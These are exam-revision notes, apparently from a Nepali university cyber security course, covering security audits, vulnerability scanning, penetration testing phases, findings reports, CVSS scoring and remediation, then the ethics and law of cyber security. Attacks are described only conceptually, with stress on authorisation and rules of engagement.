| Security audit | Vulnerability assessment | Penetration test | |
|---|---|---|---|
| The question | Do the right controls exist, documented and working? | What known weaknesses can be found? | Can an attacker get in, and how far? |
| Measured against | policy, a standard, the law | a database of known vulnerabilities and misconfigurations | a goal, such as reaching the customer database |
| Method | checklists, evidence, interviews, sampling | largely automated scans, then validation | mostly manual, human-led attack |
| Breadth and depth | broad, not deep | broad, shallow | narrow, deep |
| Exploits? | no | no | yes, within the rules of engagement |
| Output | findings and a compliance opinion | a prioritised list of weaknesses with severities | the attack path, with evidence and impact |
| How often | yearly, or as a regulation demands | continuously to monthly | yearly, and after major change |
The door rule of thumb (deck): a vulnerability assessment tells you the doors are unlocked; a penetration test walks through one and shows what is behind it. The audit, to stretch the picture, checks that a lock policy exists and that the guards sign the key register.
Depth rises from audit to penetration test, breadth falls. They also overlap: an IT audit often uses a scan and a penetration test as evidence (what an audit covers), and every penetration test starts with scanning.
Other forms of testing, met in practice and in the labs:
- Configuration review: systems compared line by line against the baseline.
- Code review and application testing: static analysis of source code (SAST) and dynamic testing of the running application (DAST).
- Red team exercise: a long, stealthy, goal-based emulation of a real adversary that tests the defenders' detection and response as well as the controls.
- Bug bounty: outside researchers paid for each valid finding, under a disclosure policy (responsible disclosure).
- Social engineering tests: phishing simulations, like the course's phishing awareness lab.
Choosing. Compliance calls for an audit; everyday hygiene calls for continuous scanning; proof of real impact, before a launch or after a big change, calls for a penetration test. A mature programme runs all three.
- Differentiate between a security audit, a vulnerability assessment and a penetration test. Explain the security assessment lifecycle and why rules of engagement and written authorisation must come first. Predicted, ch 7 Q6 · 4+6
The assessment lifecycle, and why written authorisation comes first PREDICTED
- Scope and plan: agree the targets (address ranges, applications, sites), the goals, the rules of engagement and the timing, and obtain written authorisation from the owner of the assets.
- Discover: enumerate the assets, services and attack surface: live hosts, open ports, application pages.
- Analyse: identify and rank weaknesses and remove false positives by validating them; in a penetration test, exploit within the rules.
- Report: communicate findings, evidence, risk ratings and recommendations (7.7).
- Remediate: the owners fix the issues under the agreed action plan.
- Verify: re-test to confirm each fix, then the cycle repeats with the next scope.
The standard reference, NIST SP 800-115, Technical Guide to Information Security Testing and Assessment (2008), groups the same work into planning, execution and post-execution, and gives a penetration test four phases: planning, discovery, attack and reporting.
Rules of engagement
The rules of engagement (RoE) are the signed agreement that turns an attack into a test. They protect both sides: the client knows what will be touched, and the tester has proof of permission.
- Scope: the systems in scope and, just as important, those explicitly out of scope.
- Permitted techniques: for example no denial of service, no social engineering of named people, no changes to production data.
- Timing: testing windows and blackout periods, such as month-end closing.
- Data handling: real customer data is not copied; evidence is kept encrypted and destroyed after the report.
- Contacts and stop conditions: whom to call if a system breaks, and when to halt, for instance on finding signs of a real intruder.
- Signatures: of someone with authority over every asset in scope; systems hosted by a cloud provider or a vendor need that party's permission too.
Why authorisation is a legal line. Unauthorised access to a computer is a crime almost everywhere; Nepal's Electronic Transactions Act 2008 makes it an offence (cyber law in Nepal). The only difference between a penetration tester and an attacker is the signed permission and the scope.
In the deck's words: testing without written permission and an agreed scope is not a security assessment, it is a crime. Permission and scope are also where the ethics of penetration testing begins (chapter 8, ethics).
A small example. A college asks for a test of its admission portal. Scope: the portal and its API; out of scope: the examination results server and email. Window: 10 pm to 5 am on weekdays. No denial of service; two test accounts provided. Emergency contact: the IT head. Signed by the principal, who owns the systems.
- Differentiate between a security audit, a vulnerability assessment and a penetration test. Explain the security assessment lifecycle and why rules of engagement and written authorisation must come first. Predicted, ch 7 Q6 · 4+6
7.6Penetration testing and vulnerability scanning
Vulnerability scanning: automated breadth PREDICTED
Automated, repeatable detection of known weaknesses across the whole estate: broad coverage, fast and repeatable, so it is ideal to run frequently and on a schedule. It is the routine hygiene layer of a security programme.
How a scanner works, in the order it runs:
- Discovery: find live hosts, open ports and running services.
- Fingerprinting: identify the operating system, the service and its version, for example from a banner reading Apache httpd 2.4.49.
- Matching: compare each version and setting with its checks (plugins) for known flaws; Apache 2.4.49 matches CVE-2021-41773, a path traversal flaw.
- Safe checks: some checks send a harmless probe to confirm the flaw without exploiting it.
- Report: each finding with its CVE, severity score, affected host, evidence and fix.
- CVE (Common Vulnerabilities and Exposures): the public naming scheme for known flaws, such as CVE-2017-5638, the Equifax flaw; NIST's National Vulnerability Database adds severity scores (CVSS).
- Authenticated (credentialed) scans log in and read installed patches and settings, so they are far more accurate; unauthenticated scans see only what an outsider sees, which is a different and also useful question.
- Agent-based scanning puts a small agent on each host, so laptops are covered even away from the office network.
- Types: network, host, web application (SQL injection, XSS), database, cloud configuration (open storage, open security groups) and container image scans.
- Tools: Nessus, OpenVAS, Qualys and Nexpose; for web applications OWASP ZAP and Burp Suite.
Accuracy cuts both ways:
- False positive: flagged but not real, such as a patched package whose version string still looks old; a human must validate it.
- False negative: a real flaw missed, like the Equifax scan that missed the dispute portal. It comes from an incomplete asset list, wrong credentials or a badly set scope, and it is the more dangerous error.
To remember the two errors: a false positive is the smoke alarm that goes off for burnt toast: annoying, and cleared in a minute. A false negative is the alarm that stays silent in a real fire, which is why it is the dangerous one.
Scan cadence (deck): continuously or weekly for critical external assets; monthly for internal infrastructure; after every significant change or new deployment; and every quarter an external scan by a PCI Approved Scanning Vendor where card data is handled.
Limits: it finds only known flaws, not zero-days or logic errors; it cannot chain weaknesses into an attack path; and an untuned scan can crash fragile systems such as old industrial controllers.
Scanning against penetration testing
| Vulnerability scanning | Penetration testing | |
|---|---|---|
| Goal | find and list known weaknesses | exploit weaknesses to prove impact |
| Method | automated tools | mostly manual, human-led |
| Breadth and depth | broad, shallow | narrow, deep |
| Frequency | continuous, weekly or monthly | periodic: yearly or per release |
| Output | a prioritised list of findings | a narrative of the attack path, with evidence |
| Cost and skill | lower: routine hygiene | higher: specialist expertise |
| False positives | common; need validation | rare; each finding is proven |
Complementary, not competing: scans run continuously to keep the estate clean, and penetration tests run periodically to prove what the scans cannot.
- What is vulnerability scanning, and how does it differ from penetration testing? Explain the phases of a penetration test. What are black box, grey box and white box tests? Predicted, ch 7 Q7 · 4+4+2
Penetration testing: adversarial depth PREDICTED
How much the tester is told decides what the test models:
| Type | Tester knows | Models | Strength | Weakness |
|---|---|---|---|---|
| Black box | nothing but the target's name | an outside attacker with no inside information | realistic view of what outsiders can do | slow; time goes on reconnaissance; deep flaws may be missed |
| Grey box | partial: a user account, some architecture | a malicious insider or a compromised user | balances realism and coverage; the usual choice | less like a pure outsider |
| White box | everything: architecture, source code, credentials | a full-knowledge attacker, or a thorough internal review | most thorough and most efficient coverage | least like a real outside attack |
To remember the box types: a black box tester is a stranger trying the hostel's doors at night; a grey box tester is a resident who already has a room key; a white box tester is the warden, holding the building plan and the master key.
Six phases, a structured method that mirrors the attacker's own (Cyber Kill Chain), preceded by the scoping and authorisation of the lifecycle:
- Reconnaissance: gather information: OSINT, footprinting, DNS records, staff names; passive (no contact with the target) and active.
- Scanning and enumeration: map live hosts, open ports, services and versions, users and shares.
- Gaining access: exploit a weakness for a first foothold: an unpatched service, SQL injection, a weak password, a phishing email.
- Maintaining access: escalate privilege, move laterally and set up persistence, to show how deep a real breach would go.
- Covering tracks: understand how an attacker would evade detection, by deleting logs or hiding files. In an authorised test this is documented and demonstrated rather than done for real, so the client can measure its own detection.
- Analysis and reporting: document the path, the impact and the evidence, and recommend fixes (the findings report). A first-class phase, not an afterthought: the report is what lets defenders close the path the test rehearsed.
Answers: the six phases of a penetration test, in order, from reconnaissance to the report.
How it decodes: Six words, six phases, initials in order. It reads as Ramesh went to his in-laws' house and came back having stolen the momos, which is a penetration test in one line: get into someone else's house, take something to prove it, and come back out to tell.
- RRamesh Reconnaissance: OSINT and footprinting, passive then active
- SSasurali Scanning and enumeration: hosts, ports, services, versions
- GGayo Gaining access: a weakness exploited for a foothold. Gayo, he went in
- MMomo Maintaining access: escalate, move laterally, persist
- CChorera Covering tracks: how detection is evaded, documented rather than done
- AAayo Analysis and reporting: path, impact, evidence, fixes. Aayo, he came back to tell it
Named methodologies: PTES, the Penetration Testing Execution Standard (pre-engagement, intelligence gathering, threat modelling, vulnerability analysis, exploitation, post-exploitation, reporting); the OWASP Web Security Testing Guide for web applications; NIST SP 800-115; and OSSTMM.
What gets tested: the external network, the internal network, web applications, wireless, social engineering (phishing, pretext calls), physical security (tailgating into the server room), cloud, and mobile apps and APIs.
A grey-box example, a shopping site where the tester is given one customer account:
- Reconnaissance finds an old admin subdomain.
- Scanning finds an outdated plugin on it.
- Gaining access: the plugin lets the tester upload a web shell.
- Maintaining access: a database password in a configuration file reaches 50,000 customer records, proven with three masked rows rather than a full copy.
- Report: critical; patch the plugin, restrict the admin panel by address, give the database account least privilege.
Penetration test or red team? A penetration test tries to find as many exploitable weaknesses in scope as it can, usually with the defenders aware. A red team pursues one objective quietly over weeks, to test whether the defenders notice and respond.
- What is vulnerability scanning, and how does it differ from penetration testing? Explain the phases of a penetration test. What are black box, grey box and white box tests? Predicted, ch 7 Q7 · 4+4+2
7.7Reporting and remediation
The findings report: one document, two audiences PREDICTED
Findings are worthless until they are communicated, prioritised, fixed and verified: the deck's opening line for reporting and remediation, and the loop the last three cards close. This card is the first step, communication.
A finding nobody understands never gets fixed, so the report has six parts, each aimed at a reader (deck):
| Section | Content | Reader |
|---|---|---|
| Executive summary | business-level risk, the headline issues, the overall posture, the top actions; no jargon | leadership, the board |
| Scope and methodology | what was tested and how, dates, tools, the rules of engagement, what was out of scope, limitations | both: it bounds what the report does not cover |
| Findings and evidence | each issue with proof, the affected assets and the steps to reproduce it | engineers |
| Risk rating | severity and likelihood of each finding, for example CVSS | both: how the two agree on order |
| Recommendations | concrete, prioritised remediation for each issue, a quick fix and a lasting one | engineers and their managers |
| Conclusion and appendices | the overall posture, raw data, tool output and references | both |
To remember the two audiences: a blood test report already works this way. The line at the top tells the patient whether all is well; the table of values underneath is for the doctor. The executive summary is that top line, and the findings are the table.
One good finding
- ID and title: F-03, SQL injection in the student login form.
- Severity: critical, CVSS 9.8.
- Affected asset: the login page of the student portal.
- Description: the username field is placed straight into a database query.
- Evidence: the test input, the database error it returned, a masked screenshot.
- Impact, in business terms: anyone on the internet can read all 12,000 student records.
- Recommendation: parameterised queries; a least-privilege database account; a web application firewall rule as a stopgap.
- References: CWE-89; OWASP Top 10 (2021) A03 Injection.
- Status and re-test date, filled in during remediation.
What makes a report good:
- Timely: a critical finding is reported the day it is found, not weeks later in the final report; the deck's audit phase says to report in good time, because timely reporting avoids confusion and lets the fixes happen in good time too.
- Accurate: every finding validated; one false positive costs the credibility of the rest.
- Actionable: a fix an engineer can carry out, not "improve security".
- Consistent: the same scale for every finding.
- Balanced: it records what worked as well as what failed.
- Confidential: a report of open weaknesses is a map for attackers, so it is encrypted and shared on a need-to-know basis.
The audit report of phase 5 in the IT audit process has the same shape: statement of scope, executive summary, findings with their action plans, and a concluding rating.
- What should a security assessment report contain? Explain how CVSS scores and business context are used to prioritise the findings for remediation. Predicted, ch 7 Q8 · 4+6
Scoring and prioritising findings: CVSS plus context PREDICTED
| CVSS score | Severity | Action (deck) |
|---|---|---|
| 9.0 to 10.0 | Critical | fix immediately |
| 7.0 to 8.9 | High | fix within days |
| 4.0 to 6.9 | Medium | planned remediation |
| 0.1 to 3.9 | Low | fix as capacity allows |
What goes into the base score (CVSS version 3.1):
- Exploitability: attack vector (network, adjacent, local or physical), attack complexity (low or high), privileges required (none, low or high), and user interaction (none or required).
- Scope: whether a successful attack reaches beyond the vulnerable component.
- Impact: the loss of confidentiality, integrity and availability, each high, low or none.
- Two optional groups adjust the base: temporal metrics (is exploit code public, is a fix available) and environmental metrics (how much this organisation cares about each property). CVSS 4.0 (2023) reorganises the metrics; 3.1 scores are still the most widely published.
Reading a vector. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H scores 9.8,
critical: attackable over the network, easy, needing no login and no user action, with total loss
of all three properties. Log4Shell (CVE-2021-44228) scored the maximum, 10.0.
Severity is not the whole story. Nobody can fix everything at once, so severity plus context decides what goes first; ordering the queue this way is risk-based remediation. The deck's list of what else decides the order:
- Asset value and exposure: is it internet-facing, does it hold the crown jewels?
- Exploitability and threat intelligence: is exploit code public, is it being used in attacks now? CISA's Known Exploited Vulnerabilities catalogue lists flaws seen in real attacks, and FIRST's EPSS estimates the chance of exploitation in the next 30 days.
- Compensating controls: segmentation, a web application firewall, a disabled feature.
- Business impact: what a successful attack would cost.
The deck's line: a medium on an internet-facing crown-jewel system can outrank a high on an isolated test box. Three findings, ranked:
| Finding | CVSS | Context | Priority |
|---|---|---|---|
| Broken access control on the payment portal | 6.5 medium | internet-facing, crown jewel, exploit in active use | 1 |
| Missing patch on the HR file server | 8.1 high | holds personal data, staff network only | 2 |
| Flawed library on a lab virtual machine | 9.8 critical | isolated, no data, due to be rebuilt | 3 |
Priority becomes policy through remediation deadlines by severity, for example 7 days for critical, 30 for high, 90 for medium and the next cycle for low, with anything on the exploited list treated as critical. The numbers are each organisation's choice; the discipline of having them is not.
- What should a security assessment report contain? Explain how CVSS scores and business context are used to prioritise the findings for remediation. Predicted, ch 7 Q8 · 4+6
Remediation, tracking and re-test: closing the loop PREDICTED
Agree the plan first. The deck gives the audit's three approaches, in rising order of how likely the fix is to happen:
- Recommendation: the auditor recommends a fix, which may not be acted on.
- Management response: the auditor reports the issue and management must formally respond, accepting, rejecting or scheduling it, which creates an accountable record.
- Solution: client and auditor mutually agree the action plan; the most effective.
Choose a treatment for each finding (the options of risk treatment):
| Treatment | Meaning | Example |
|---|---|---|
| Remediate | remove the cause | apply the patch, fix the code, correct the setting |
| Mitigate | reduce likelihood or impact until a fix is possible | a firewall rule, a WAF rule, segmentation, switching the feature off |
| Accept | live with it, formally | a signed exception with a reason, an expiry date and compensating controls |
| Transfer | move the cost elsewhere | insurance, a contract; the accountability stays |
| Avoid | stop the activity | retire the old server |
Then track every finding to closure (deck):
- Assign an owner and a due date: one named person, with the deadline set by severity; each finding becomes a ticket linked to the report.
- Track to closure: status updated until fixed; overdue items reported to management every month.
- Escalate, as a last resort: owner, then manager, CISO, and the steering or audit committee.
- Re-test and validate: the assessor or a fresh scan confirms the fix.
- Close with the evidence attached.
Why the re-test is not optional. Fixes fail quietly: the patch lands on two of three servers; the next deployment reverts the setting; the WAF rule blocks the tester's payload but not a variant. The deck is blunt: an unverified fix is not a fix. The notes give testing a BCP as the example of validation.
When a risk may be accepted instead: when the fix costs more than the loss it prevents, when no fix exists yet, or when the system is about to be retired. Acceptance must be written, signed by the risk owner (a manager with the authority, never the engineer), limited in time, reviewed at expiry, and backed by compensating controls where possible.
Measure the loop: mean time to remediate by severity, the share fixed within deadline, the count of overdue critical findings, and repeat findings. A finding that recurs points to a process gap, a missing owner or a missing standard, and the answer goes back into policy: the loop ends where the chapter began.
A short example. A scan finds a critical flaw on three web servers; the web team lead owns it, due in seven days. Two servers are patched on day three, but the re-scan on day seven still flags the third, which was missing from the patch list.
The loop closes: the finding is escalated to the CISO, patched the same day, re-scanned clean and closed, and the asset inventory is corrected so the next patch reaches every server.
- Explain the remediation process that follows a security assessment, from assigning an owner to closing the finding. Why is a re-test necessary, and when may a risk be formally accepted instead of fixed? Predicted, ch 7 Q9 · 5+5
7.8Last minute recall
Chapter 7 in one screen
- Breaches as policy failures: Equifax 2017 (patching, alert list, scan, expired certificate), WannaCry 2017 (MS17-010 unpatched), Marriott (acquisition due diligence), SolarWinds 2020 (supply chain).
- SPF: documents turning management intent into enforceable, auditable rules; policy is the least expensive control and the hardest to implement.
- Purpose of policy: intent, structure, productive environment, responsibility, legal protection, consistency, faster response, audit yardstick.
- Governance: people, process, technology under governance; committee approves and monitors compliance; three lines model; evaluate, direct, monitor.
- Hierarchy: policy, standard, baseline, guideline, procedure; only the guideline is recommended (Police Sipahi Bhaagyo, Gaai Pachhyaayo).
- Enforceable: never conflicts with law, stands up in court; distributed, read, understood, agreed, uniformly enforced.
- NIST SP 800-14 (1996): program (EISP, strategic), issue-specific (ISSP, tactical), system-specific (SysSP, operational: management guidance plus technical specifications, ACLs and configuration rules); Open Idea University to Boom! Technologies, same rules, wrong context.
- SPF documents: AUP, access control, remote access, data breach response, DRP, BCP, the deck's six (Ajay Aaja Rakshi Dherai Dhokera Bahulaayo); also password, BYOD, data classification.
- Plans: IRP handles the incident, DRP restores IT, BCP keeps the business going; BIA, RTO, RPO; hot, warm, cold sites; test at least yearly.
- Audit: assurance engagement, three parties, reasonable assurance (sampling); financial, internal, statutory, IS; subject areas from data centre, networks, platforms, databases and applications up to business processes; NRB requires a yearly IS audit.
- Six phases: planning, fieldwork and documentation, issue discovery and validation, solution development, report drafting and issuance, issue tracking (Pappu Farted In School, Rani Inhaled).
- Action plans: recommendation, management response, solution (most effective).
- Compliance: purpose, risk, control, finding; ITGC and application controls; design and operating effectiveness; a floor, not a ceiling.
- Insider: policy (classification, least privilege, NDA, separation of duties, rotation, offboarding), audit (access reviews, transfer logs), monitoring (DLP, UEBA, SIEM, CASB).
- Regulation, standard, framework: law; certifiable specification; adaptable practice.
- GDPR: EU law since 2018, 7 principles, 72 hours, up to 20 million euros or 4%. HIPAA: US, PHI, Privacy, Security, Breach rules. SOC 2: AICPA, 5 criteria, Type I design, Type II operation, no fine.
- Frameworks: ISO/IEC 27001 (ISMS, 93 Annex A controls, PDCA, certifiable); NIST CSF 2.0 (govern, identify, protect, detect, respond, recover); PCI DSS; CIS Controls; COBIT; ITIL.
- Three assessments: audit (do controls exist), vulnerability assessment (VA: what weaknesses), penetration test (can they get in); VA and penetration test together are VAPT; compliance proves the paperwork, testing proves reality.
- Lifecycle: scope and plan, discover, analyse, report, remediate, verify; written authorisation and rules of engagement first.
- Scanning: CVE matching, credentialed or not, false positives and negatives, Nessus, OpenVAS; cadence weekly to quarterly (PCI ASV).
- Penetration test: black, grey, white box; reconnaissance, scanning and enumeration, gaining access, maintaining access, covering tracks, analysis and reporting (Ramesh Sasurali Gayo, Momo Chorera Aayo).
- Report: executive summary, scope and methodology, findings and evidence, risk rating, recommendations, conclusion and appendices.
- CVSS: 9.0 critical, 7.0 high, 4.0 medium, 0.1 low; exploitability, scope, impact; context can reorder.
- Remediation: owner, due date, track, escalate, re-test, close; accept only in writing with an expiry.
Chapter 8 · 2 hours · 6 of 80 marks in the syllabus · in 3 of the 4 sittings
The ethics of cyber security
Every other chapter is about what a defender can do; this one is about what a defender may do and should do. It follows the course's Laws and Ethics deck: law against ethics, the types of law and what makes an act a crime, the cyber laws of the UK, the EU, the US and Nepal, the Budapest Convention, codes of ethics, culture, deterrence and liability, and it ends with Nepal's Electronic Transactions Act and its gaps. It is only 2 lecture hours and 6 of the 80 marks in the syllabus weighting, yet the one board paper so far gave it a whole 10 mark question: responsible disclosure, whistleblowers and intellectual property.
- Ethics: what ethical considerations are, how ethics differs from law, how culture shapes it, and a frame for hard decisions.
- Crime: cyber crime, hacktivism, cyber terrorism and cyber warfare, told apart by who acts, why, and against whom.
- Law: the types of law, what makes an act a crime, civil and criminal cases, the cyber laws that matter, the Budapest Convention, and how a policy differs from a law.
- Codes and property: the codes of ethics, the Ten Commandments of Computer Ethics, and intellectual property.
- Privacy: the principles of data protection, the GDPR, and Nepal's Privacy Act 2075 (2018).
- Hacking and disclosure: permission, scope and rules of engagement; reporting flaws so that users are protected.
- Duties: professional ethics, deterrence, organisational liability, social responsibility and whistleblowing.
- Nepal: the Electronic Transactions Act 2063 (2008), its computer offences, the laws around it, and how complete they are.
- Privacy leans on confidentiality, the first property of the CIA triad; due care and due diligence return here as the measure of an organisation's liability, and security policy and the security policy framework are where an organisation writes its ethics down as rules that bind like law.
- Cyber warfare (chapter 1) is the state end of the spectrum in 8.2, and ransomware is the crime most examples use.
- Irresponsible disclosure creates zero-day exploits.
- Breach duties bite during incident response; compliance audits check that laws and policies are followed; the malicious insider is the dark twin of the whistleblower.
- 8.1 Ethical considerations, and law against ethics
- 8.1 Ethics across cultures
- 8.2 Cyber crime, cyber terrorism, hacktivism and cyber warfare
- 8.3 Types of law, and civil against criminal law
- 8.3 What makes an act a crime: actus reus and mens rea
- 8.3 Legal frameworks: legal systems and the laws that matter
- 8.3 The Budapest Convention and mutual legal assistance
- 8.3 Policy against law
- 8.3 Ethical frameworks: the codes of ethics
- 8.3 Intellectual property: copyright, trademark, patent, trade secret
- 8.4 Privacy and data protection: concepts and principles
- 8.4 The GDPR and Nepal's Privacy Act side by side
- 8.5 Ethical hacking: permission, scope, rules of engagement
- 8.5 Responsible disclosure
- 8.6 Professional ethics
- 8.6 Why criminals offend, and how deterrence stops them
- 8.6 Organisational liability and legally defensible security
- 8.7 Social responsibility
- 8.7 Whistleblowing, and protecting whistleblowers
- 8.8 Cyber law in Nepal, and the ETA's computer offences
- 8.8 How complete Nepal's cyber law is (lab 17)
- 8.9 Last minute recall, chapter 8
- One question, two parts, set word for word on the 2081 Bhadra board paper and the 2082 internal: responsible disclosure and protecting whistleblowers, with examples; then copyright, trade secret and trademark, and the three criteria for a patent.
- The lecture deck sets an assignment: identify the major provisions of the Electronic Transactions Act on offences related to computers (8.8).
- The class notes set a third: define ethical considerations, and give an overview of Nepal's cyber law.
- Nothing else has been asked yet. The predicted questions cover the rest of the syllabus and the deck: the types of law and the elements of a crime, the Budapest Convention, policy against law, culture, deterrence and liability, and lab 17's critique of Nepal's cyber law.
8.1Ethical considerations
Ethical considerations: what is right, not only what is allowed HOT 1/4
82 Bh10
Ethics is the set of socially accepted principles of right and wrong conduct; morals are such principles as one person holds them; law is the part a government writes down and enforces. Security work needs ethics more than most jobs, for three reasons:
- Power: administrators can read mailboxes, analysts see customers' personal data, testers know how to break in, and often nobody is watching when that power is misused.
- Dual use: the knowledge that defends a network attacks one. A port scanner, an exploit or a phishing kit serves both sides; purpose and permission make the difference.
- Law lags technology: laws take years to change, so many new questions (deepfakes, AI surveillance, selling location data) stay legal until someone decides otherwise.
The deck's own terms. Ethical considerations, it says, usually turn on honesty, integrity, fairness and responsibility. Some ethics are thought to be universal: murder, theft and assault break the ethical and the legal codes of nearly every culture. Others rest on cultural mores, the relatively fixed moral attitudes and customs of a particular group, norms guided by that culture's own standards of morality. Breaking one brings social disapproval or sanctions rather than a court case, and where the mores differ, so does what counts as ethical (the next card).
Law and ethics
| Point | Law | Ethics |
|---|---|---|
| What it is | rules adopted and enforced by a government, codifying expected behaviour | socially acceptable behaviour that conforms to widely held principles |
| Made by | legislatures, courts, regulators | society, culture, religion, professional bodies, conscience |
| Sanction | formal: fine, prison, compensation | informal: lost trust, job or certification |
| Reach | the minimum a society demands | goes beyond the minimum |
| Change | slow, by amendment | moves with society and technology |
| Example | section 45 of Nepal's Electronic Transactions Act punishes unauthorised access | an administrator does not read a colleague's mail just because the system lets him |
The key difference: laws carry the sanctions of a governing authority; ethics do not. The two usually agree, but not always, which is why the drawing has four boxes: an act can be legal but unethical (selling users' data under a consent buried in fine print) or well meant but illegal (probing a website without permission to warn its owner).
To remember it, picture a lab assignment. A classmate hands Ram his code and Ram submits it as his own: no law is broken, since the owner agreed, but it is plagiarism, plainly unethical. Had Ram copied it from the classmate's laptop without asking, it would also be unauthorised access under section 45 of the ETA: illegal as well as unethical.
The main considerations, with an example of each
| Consideration | What it asks | Example |
|---|---|---|
| Privacy | look at and keep only the personal data the task needs | an analyst hunting an intruder in mail logs does not read the messages themselves |
| Authorisation and consent | act only within written permission from the owner | a tester stays inside the IP ranges named in the contract |
| Confidentiality | keep what is learned at work secret | a client's weaknesses are never discussed outside the engagement |
| Honesty and integrity | report truthfully; never hide or play down an incident | a breach is reported to management, affected customers and the regulator |
| Avoiding harm, proportionality | use the least intrusive means that works | data loss prevention alerts on patterns instead of someone reading every email |
| Fairness | tools and people must not discriminate | an insider threat model must not flag staff by caste, gender or religion |
| Accountability and transparency | decisions are recorded and can be explained | every emergency login to a server is logged and reviewed |
| Responsible disclosure | a flaw reaches the vendor before the attackers | 8.5 |
| Social responsibility | protect people beyond the organisation and speak up about wrongdoing | 8.7, whistleblowing |
Where the considerations are written down. Professional codes of conduct formalise them, those of (ISC)², ISACA and SANS among them (8.3): the (ISC)² code, for one, requires its members to act honorably, honestly, justly, responsibly and legally. The class notes put the division of labour in one line: laws give a formal set of rules with penalties, while ethics give the moral framework that keeps a professional, and the organisation, clear of liability and risk.
Dilemmas are cases where two good principles collide:
- Monitoring staff: security needs visibility, staff have a right to privacy. A written policy, notice to staff and monitoring limited to work systems balance the two.
- Hacking back: attacking the attacker feels just, but it is unauthorised access in most countries and may hit an innocent computer the attacker had hijacked.
- Paying a ransom: it may restore a hospital's systems quickly, and it funds the next attack (ransomware).
- Stockpiling zero-days: a government that keeps a flaw secret for spying leaves every user of that software exposed (zero-day exploits).
- Encryption back doors: lawful access for the police against weaker security for everyone.
Ethical lenses. Philosophy offers several ways to judge a hard case, and a strong answer names the lens it uses:
- Consequences (utilitarianism): choose the act that does the greatest good for the most people. Example: take the payment server down tonight for an emergency patch.
- Duties (deontology): some acts are wrong whatever the result. Example: never falsify an incident report, even to protect the company's image.
- Rights: respect each person's rights to privacy and fair treatment.
- Fairness (justice): share benefits and burdens fairly.
- Virtue: ask what an honest, competent professional would do.
- a) Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating. b) Define ethical considerations in the context of cyber security. Also, provide an overview of cyber law in the context of Nepal. 2082 Bhadra Q7 · 10
- Define ethical considerations in the context of cybersecurity. Also, provide an overview of cyber law in the context of Nepal. Class notes, ch 8 Q1
- Differentiate between law and ethics with examples. Explain the four canons of the (ISC)2 Code of Ethics and how a security professional applies them. Predicted, ch 8 Q2 · 4+6
Ethics across cultures: the same act, judged differently PREDICTED
Why it matters to security. Data, staff and contracts cross borders every day: an American cloud holds Europeans' data, a Kathmandu software house builds for a German client, an outsourced help desk reads customers' records. Difficulty arises when one nationality's ethical behaviour conflicts with another's, and the deck gives four such conflicts, plus the gift.
| Issue | One side | The other side | The conflict |
|---|---|---|---|
| Data privacy | European Union: privacy of personal data is a fundamental human right; the GDPR strictly controls how data is collected, stored and shared | United States: privacy laws are sector-specific (HIPAA for health, COPPA for children), and tech firms collect and monetise data more freely | a US company's usual data practice can be unethical, or illegal, in the EU |
| Employee monitoring | United States: monitoring staff on work computers and email is widely accepted, and legal | Germany: monitoring is viewed with suspicion, from a strong privacy culture and the memory of the Stasi's surveillance of East Germans; it needs full transparency and consent | monitoring software a US head office installs feels invasive and unethical to German staff |
| Software piracy norms | Sweden, Germany: using unlicensed software is unethical and socially unacceptable | some developing countries (the deck names Indonesia and Nigeria): where software is dear and incomes low, piracy is sometimes tolerated or seen as a necessity | a Swedish IT manager sees a serious breach where local staff see nothing wrong |
| Whistleblowing | UK, US: often legally protected and ethically encouraged when wrongdoing is found | Japan: loyalty to the organisation and group harmony (wa) are highly valued, so reporting can look like betrayal | a British employee reports what a Japanese colleague would handle internally, or ignore |
| Gifts | many Western businesses: gifts are handled cautiously, limited or banned, to avoid any appearance of bribery or a conflict of interest | certain Asian cultures, such as China and Japan: gift giving is deeply ingrained in social and business life, a sign of goodwill, respect and relationship building; refusing can offend, and the value carries meaning | the same gift is courtesy to one side and a conflict of interest to the other |
Three real cases of the clash:
- Privacy: in May 2023 Ireland's Data Protection Commission fined Meta EUR 1.2 billion under the GDPR for transferring European Facebook users' data to the United States, a practice routine at home.
- Monitoring: in October 2020 the Hamburg data protection authority fined H&M EUR 35.3 million for keeping detailed notes on its Nuremberg service centre staff's private lives (holidays, illnesses, family troubles). German law also gives a works council a say before any technical device able to monitor staff is introduced.
- Whistleblowing: in 2011 Olympus's British chief executive, Michael Woodford, questioned huge unexplained payments and was dismissed by the board within weeks; going public exposed a cover-up of investment losses dating back to the 1990s.
Not only nationality. Differences in computer ethics are not exclusively cultural: they are found among individuals in the same country, the same social class and the same company. The overriding factor that levels ethical perceptions within a small population is education: employees must be trained in the behaviour expected of an ethical employee, especially in information security (deterrence starts there too).
To remember it, picture a Kathmandu software house that screenshots every developer's screen every five minutes to bill its hours. Its German client's team hears of it, calls it surveillance and asks for it to stop; the contract is renewed only with a written policy, notice to the developers and their consent. What is routine in one office is unethical in the other, and the contract, not local habit, decides.
- What are cultural mores, and why do ethical judgements about computer use differ across cultures? Explain the ethical conflicts over data privacy in Europe and the United States and over employee monitoring in the United States and Germany. Predicted, ch 8 Q13 · 4+6
8.2Cyber crime and cyber terrorism
Cyber crime and cyber terrorism: same tools, different motives PREDICTED
The computer's three roles sort every cyber crime:
- Target: the system itself is attacked: hacking, malware, denial of service, destroying data (Nepal's ETA sections 44 to 46).
- Tool: an old crime done through a computer: online fraud, phishing, sextortion, harassment, publishing illegal material (ETA sections 47 and 52).
- Incidental: the computer only holds evidence, such as a smuggler's phone.
| Against | Typical cyber crimes |
|---|---|
| Individuals | identity theft, phishing and online fraud, cyberstalking and harassment, sextortion, online child abuse |
| Organisations and property | hacking and data theft, ransomware and extortion, business email compromise, software piracy and theft of intellectual property |
| Government and society | attacks on public services, espionage, spreading hateful or illegal material, terrorism |
Motives are mostly money, then revenge (often insiders), ideology, espionage, and thrill or fame. The motive, not the technique, is what separates the labels below; whether a criminal goes ahead at all is a cost-benefit sum (8.6).
